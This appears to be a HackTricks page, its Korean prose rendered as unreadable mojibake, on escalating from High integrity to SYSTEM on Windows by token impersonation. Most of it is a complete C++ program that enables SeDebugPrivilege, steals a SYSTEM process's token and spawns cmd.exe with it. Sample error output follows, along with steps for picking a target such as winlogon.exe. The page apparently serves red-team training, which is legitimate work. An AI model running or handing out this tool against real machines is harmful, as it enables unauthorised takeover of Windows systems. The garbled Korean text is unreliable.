SeImpersonate from High To System

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

์ฝ”๋“œ

๋‹ค์Œ ์ฝ”๋“œ๋Š” ์—ฌ๊ธฐ์—์„œ ๊ฐ€์ ธ์˜จ ๊ฒƒ์ž…๋‹ˆ๋‹ค. ์ด๋Š” ์ธ์ˆ˜๋กœ ํ”„๋กœ์„ธ์Šค ID๋ฅผ ์ง€์ •ํ•  ์ˆ˜ ์žˆ์œผ๋ฉฐ, ์ง€์ •๋œ ํ”„๋กœ์„ธ์Šค์˜ ์‚ฌ์šฉ์ž๋กœ ์‹คํ–‰๋˜๋Š” CMD๊ฐ€ ์‹คํ–‰๋ฉ๋‹ˆ๋‹ค.
High Integrity ํ”„๋กœ์„ธ์Šค์—์„œ ์‹คํ–‰ํ•  ๋•Œ, System์œผ๋กœ ์‹คํ–‰ ์ค‘์ธ ํ”„๋กœ์„ธ์Šค์˜ PID๋ฅผ ์ง€์ •ํ•˜๊ณ  cmd.exe๋ฅผ System์œผ๋กœ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

impersonateuser.exe 1234
// From https://securitytimes.medium.com/understanding-and-abusing-access-tokens-part-ii-b9069f432962

#include <windows.h>
#include <iostream>
#include <Lmcons.h>
BOOL SetPrivilege(
HANDLE hToken,          // access token handle
LPCTSTR lpszPrivilege,  // name of privilege to enable/disable
BOOL bEnablePrivilege   // to enable or disable privilege
)
{
TOKEN_PRIVILEGES tp;
LUID luid;
if (!LookupPrivilegeValue(
NULL,            // lookup privilege on local system
lpszPrivilege,   // privilege to lookup
&luid))        // receives LUID of privilege
{
printf("[-] LookupPrivilegeValue error: %u\n", GetLastError());
return FALSE;
}
tp.PrivilegeCount = 1;
tp.Privileges[0].Luid = luid;
if (bEnablePrivilege)
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
else
tp.Privileges[0].Attributes = 0;
// Enable the privilege or disable all privileges.
if (!AdjustTokenPrivileges(
hToken,
FALSE,
&tp,
sizeof(TOKEN_PRIVILEGES),
(PTOKEN_PRIVILEGES)NULL,
(PDWORD)NULL))
{
printf("[-] AdjustTokenPrivileges error: %u\n", GetLastError());
return FALSE;
}
if (GetLastError() == ERROR_NOT_ALL_ASSIGNED)
{
printf("[-] The token does not have the specified privilege. \n");
return FALSE;
}
return TRUE;
}
std::string get_username()
{
TCHAR username[UNLEN + 1];
DWORD username_len = UNLEN + 1;
GetUserName(username, &username_len);
std::wstring username_w(username);
std::string username_s(username_w.begin(), username_w.end());
return username_s;
}
int main(int argc, char** argv) {
// Print whoami to compare to thread later
printf("[+] Current user is: %s\n", (get_username()).c_str());
// Grab PID from command line argument
char* pid_c = argv[1];
DWORD PID_TO_IMPERSONATE = atoi(pid_c);
// Initialize variables and structures
HANDLE tokenHandle = NULL;
HANDLE duplicateTokenHandle = NULL;
STARTUPINFO startupInfo;
PROCESS_INFORMATION processInformation;
ZeroMemory(&startupInfo, sizeof(STARTUPINFO));
ZeroMemory(&processInformation, sizeof(PROCESS_INFORMATION));
startupInfo.cb = sizeof(STARTUPINFO);
// Add SE debug privilege
HANDLE currentTokenHandle = NULL;
BOOL getCurrentToken = OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &currentTokenHandle);
if (SetPrivilege(currentTokenHandle, L"SeDebugPrivilege", TRUE))
{
printf("[+] SeDebugPrivilege enabled!\n");
}
// Call OpenProcess(), print return code and error code
HANDLE processHandle = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, true, PID_TO_IMPERSONATE);
if (GetLastError() == NULL)
printf("[+] OpenProcess() success!\n");
else
{
printf("[-] OpenProcess() Return Code: %i\n", processHandle);
printf("[-] OpenProcess() Error: %i\n", GetLastError());
}
// Call OpenProcessToken(), print return code and error code
BOOL getToken = OpenProcessToken(processHandle, MAXIMUM_ALLOWED, &tokenHandle);
if (GetLastError() == NULL)
printf("[+] OpenProcessToken() success!\n");
else
{
printf("[-] OpenProcessToken() Return Code: %i\n", getToken);
printf("[-] OpenProcessToken() Error: %i\n", GetLastError());
}
// Impersonate user in a thread
BOOL impersonateUser = ImpersonateLoggedOnUser(tokenHandle);
if (GetLastError() == NULL)
{
printf("[+] ImpersonatedLoggedOnUser() success!\n");
printf("[+] Current user is: %s\n", (get_username()).c_str());
printf("[+] Reverting thread to original user context\n");
RevertToSelf();
}
else
{
printf("[-] ImpersonatedLoggedOnUser() Return Code: %i\n", getToken);
printf("[-] ImpersonatedLoggedOnUser() Error: %i\n", GetLastError());
}
// Call DuplicateTokenEx(), print return code and error code
BOOL duplicateToken = DuplicateTokenEx(tokenHandle, MAXIMUM_ALLOWED, NULL, SecurityImpersonation, TokenPrimary, &duplicateTokenHandle);
if (GetLastError() == NULL)
printf("[+] DuplicateTokenEx() success!\n");
else
{
printf("[-] DuplicateTokenEx() Return Code: %i\n", duplicateToken);
printf("[-] DupicateTokenEx() Error: %i\n", GetLastError());
}
// Call CreateProcessWithTokenW(), print return code and error code
BOOL createProcess = CreateProcessWithTokenW(duplicateTokenHandle, LOGON_WITH_PROFILE, L"C:\\Windows\\System32\\cmd.exe", NULL, 0, NULL, NULL, &startupInfo, &processInformation);
if (GetLastError() == NULL)
printf("[+] Process spawned!\n");
else
{
printf("[-] CreateProcessWithTokenW Return Code: %i\n", createProcess);
printf("[-] CreateProcessWithTokenW Error: %i\n", GetLastError());
}
return 0;
}

์˜ค๋ฅ˜

๊ฒฝ์šฐ์— ๋”ฐ๋ผ System์„ ๊ฐ€์žฅํ•˜๋ ค๊ณ  ์‹œ๋„ํ•  ๋•Œ ๋‹ค์Œ๊ณผ ๊ฐ™์€ ์ถœ๋ ฅ์ด ํ‘œ์‹œ๋˜๋ฉฐ ์ž‘๋™ํ•˜์ง€ ์•Š์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

[+] OpenProcess() success!
[+] OpenProcessToken() success!
[-] ImpersonatedLoggedOnUser() Return Code: 1
[-] ImpersonatedLoggedOnUser() Error: 5
[-] DuplicateTokenEx() Return Code: 0
[-] DupicateTokenEx() Error: 5
[-] CreateProcessWithTokenW Return Code: 0
[-] CreateProcessWithTokenW Error: 1326

์ด๊ฒƒ์€ ๋†’์€ ๋ฌด๊ฒฐ์„ฑ ์ˆ˜์ค€์—์„œ ์‹คํ–‰ ์ค‘์ด๋”๋ผ๋„ ์ถฉ๋ถ„ํ•œ ๊ถŒํ•œ์ด ์—†๋‹ค๋Š” ๊ฒƒ์„ ์˜๋ฏธํ•ฉ๋‹ˆ๋‹ค.
ํ˜„์žฌ svchost.exe ํ”„๋กœ์„ธ์Šค์— ๋Œ€ํ•œ ๊ด€๋ฆฌ์ž ๊ถŒํ•œ์„ processes explorer (๋˜๋Š” process hacker๋ฅผ ์‚ฌ์šฉํ•  ์ˆ˜๋„ ์žˆ์Œ)๋กœ ํ™•์ธํ•ด ๋ณด๊ฒ ์Šต๋‹ˆ๋‹ค:

  1. svchost.exe ํ”„๋กœ์„ธ์Šค๋ฅผ ์„ ํƒํ•ฉ๋‹ˆ๋‹ค.
  2. ๋งˆ์šฐ์Šค ์˜ค๋ฅธ์ชฝ ๋ฒ„ํŠผ ํด๋ฆญ โ€“> ์†์„ฑ
  3. โ€œ๋ณด์•ˆโ€ ํƒญ์—์„œ ์˜ค๋ฅธ์ชฝ ํ•˜๋‹จ์˜ โ€œ๊ถŒํ•œโ€ ๋ฒ„ํŠผ์„ ํด๋ฆญํ•ฉ๋‹ˆ๋‹ค.
  4. โ€œ๊ณ ๊ธ‰โ€œ์„ ํด๋ฆญํ•ฉ๋‹ˆ๋‹ค.
  5. โ€œAdministratorsโ€œ๋ฅผ ์„ ํƒํ•˜๊ณ  โ€œํŽธ์ง‘โ€œ์„ ํด๋ฆญํ•ฉ๋‹ˆ๋‹ค.
  6. โ€œ๊ณ ๊ธ‰ ๊ถŒํ•œ ํ‘œ์‹œโ€œ๋ฅผ ํด๋ฆญํ•ฉ๋‹ˆ๋‹ค.

์ด์ „ ์ด๋ฏธ์ง€๋Š” ์„ ํƒ๋œ ํ”„๋กœ์„ธ์Šค์— ๋Œ€ํ•ด โ€œAdministratorsโ€œ๊ฐ€ ๊ฐ€์ง„ ๋ชจ๋“  ๊ถŒํ•œ์„ ํฌํ•จํ•˜๊ณ  ์žˆ์Šต๋‹ˆ๋‹ค (์˜ˆ๋ฅผ ๋“ค์–ด svchost.exe์˜ ๊ฒฝ์šฐ โ€œQueryโ€ ๊ถŒํ•œ๋งŒ ๊ฐ€์ง€๊ณ  ์žˆ์Œ์„ ๋ณผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค).

winlogon.exe์— ๋Œ€ํ•œ โ€œAdministratorsโ€œ์˜ ๊ถŒํ•œ์„ ํ™•์ธํ•ด ๋ณด์„ธ์š”:

ํ•ด๋‹น ํ”„๋กœ์„ธ์Šค ๋‚ด์—์„œ โ€œAdministratorsโ€œ๋Š” โ€œ๋ฉ”๋ชจ๋ฆฌ ์ฝ๊ธฐโ€ ๋ฐ โ€œ๊ถŒํ•œ ์ฝ๊ธฐโ€œ๋ฅผ ํ•  ์ˆ˜ ์žˆ์œผ๋ฉฐ, ์ด๋Š” ์•„๋งˆ๋„ ๊ด€๋ฆฌ์ž๊ฐ€ ์ด ํ”„๋กœ์„ธ์Šค์—์„œ ์‚ฌ์šฉ๋˜๋Š” ํ† ํฐ์„ ๊ฐ€์žฅํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•ด์ค๋‹ˆ๋‹ค.

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ